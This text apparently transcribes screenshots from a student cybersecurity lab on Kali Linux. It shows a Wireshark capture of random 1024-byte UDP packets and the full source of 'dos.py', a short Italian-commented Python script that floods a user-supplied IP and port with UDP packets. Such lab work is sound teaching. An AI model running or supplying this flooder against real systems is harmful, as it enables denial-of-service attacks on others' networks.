

The image shows the Wireshark network protocol analyzer interface. At the top, there's a menu bar with options like File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Wireless, and Tools. Below the menu is a toolbar with various icons for file operations, settings, and navigation. The main window displays a packet list table with columns for No., Time, Source, and Destination. The selected packet is number 59, which is a UDP packet from 192.168.32.100 to 192.168.32.100. To the right of the packet list, the packet details pane shows the structure of the selected packet: Frame 59: 1068 bytes on wire (8544 bits), Linux cooked capture v1, Internet Protocol Version 4, Src: 192.168.32.100, User Datagram Protocol, Src Port: 50070, and Data (1024 bytes). The data field is expanded, showing a hexadecimal dump of the payload.

No.	Time	Source	Destination
59	0.000511641	192.168.32.100	192.168.32.100
57	0.000495215	192.168.32.100	192.168.32.100
55	0.000478269	192.168.32.100	192.168.32.100
53	0.000461883	192.168.32.100	192.168.32.100
51	0.000445543	192.168.32.100	192.168.32.100
49	0.000429051	192.168.32.100	192.168.32.100
47	0.000412589	192.168.32.100	192.168.32.100
45	0.000396204	192.168.32.100	192.168.32.100
43	0.000379841	192.168.32.100	192.168.32.100
41	0.000362945	192.168.32.100	192.168.32.100
39	0.000346671	192.168.32.100	192.168.32.100
37	0.000330401	192.168.32.100	192.168.32.100

Frame 59: 1068 bytes on wire (8544 bits)
Linux cooked capture v1
Internet Protocol Version 4, Src: 192.168.32.100
User Datagram Protocol, Src Port: 50070
Data (1024 bytes)
Data: 16dd9de8738cdc21d71282f2f5c7b0a [Length: 1024]

any: <live capture in progress>

ciao.py	epicode	prova.py	quadrato.py.save
ciao.py.save	Epicode_lab	Public	quadrato.py.save.1
Desktop	esercizioc.c	__pycache__	rettangoloperimetr
Documents	Esercizio.txt.save	quadratoo.py	Templates
dos.py	Music	quadratoo.pyy	Videos
Downloads	Pictures	quadrato.py	

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(kali㉿kali)-[~]  
$ python prova.py  
Server started! Waiting for connections ...
```

[illegible]

Wireshark · Packet 59 · any

- ▶ Frame 59: 1068 bytes on wire (8544 bits), 1068 bytes captured
- ▶ Linux cooked capture v1
- ▶ Internet Protocol Version 4, Src: 192.168.32.100, Dst: 192.168.0.100
- ▶ User Datagram Protocol, Src Port: 50070, Dst Port: 44444
- ▼ Data (1024 bytes)
 - Data: 16dd9de8738cdc21d71282f2f5c7b0a55c2c19cf07ba72c73df172
 - [Length: 1024]

0020	c0 a8 20 64 c3 96 ad 9c	04 08 c6 32 16 dd 9d e8	.. d ..
0030	73 8c dc 21 d7 12 82 f2	f5 c7 b0 a5 5c 2c 19 cf	s ! ..
0040	07 ba 72 c7 3d f1 72 63	cf d7 70 f1 67 a5 d5 5f	.. r = ..
0050	e0 03 1d 61 c6 51 59 e0	b1 7b 60 33 10 fa d5 a7	.. a Q ..
0060	98 a1 72 52 c9 cb f7 36	3a f0 5a 6d f1 35 a1 cd	.. r R ..
0070	6c 3c 85 41 68 3b 56 e7	00 22 e6 35 ab 1a b3 b3	l < Ah;
0080	42 ac 07 cd e4 91 6f 05	65 90 c6 91 a9 4a 83 f4	B

```

kali@kali: ~
File Edit View Help
6.4 dos.py
# Necessita della libreria
import random
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

ip = input("Inserisci l'indirizzo ip che vuoi dosare: ")
porta = int(input("Inserisci la porta utilizzata: "))

for _ in range(1024):
    data = bytes([random.randint(0, 255) for _ in range(1024)])
    s.sendto(data, (ip, porta))

print("Stai dosando pacchetti inviati")

```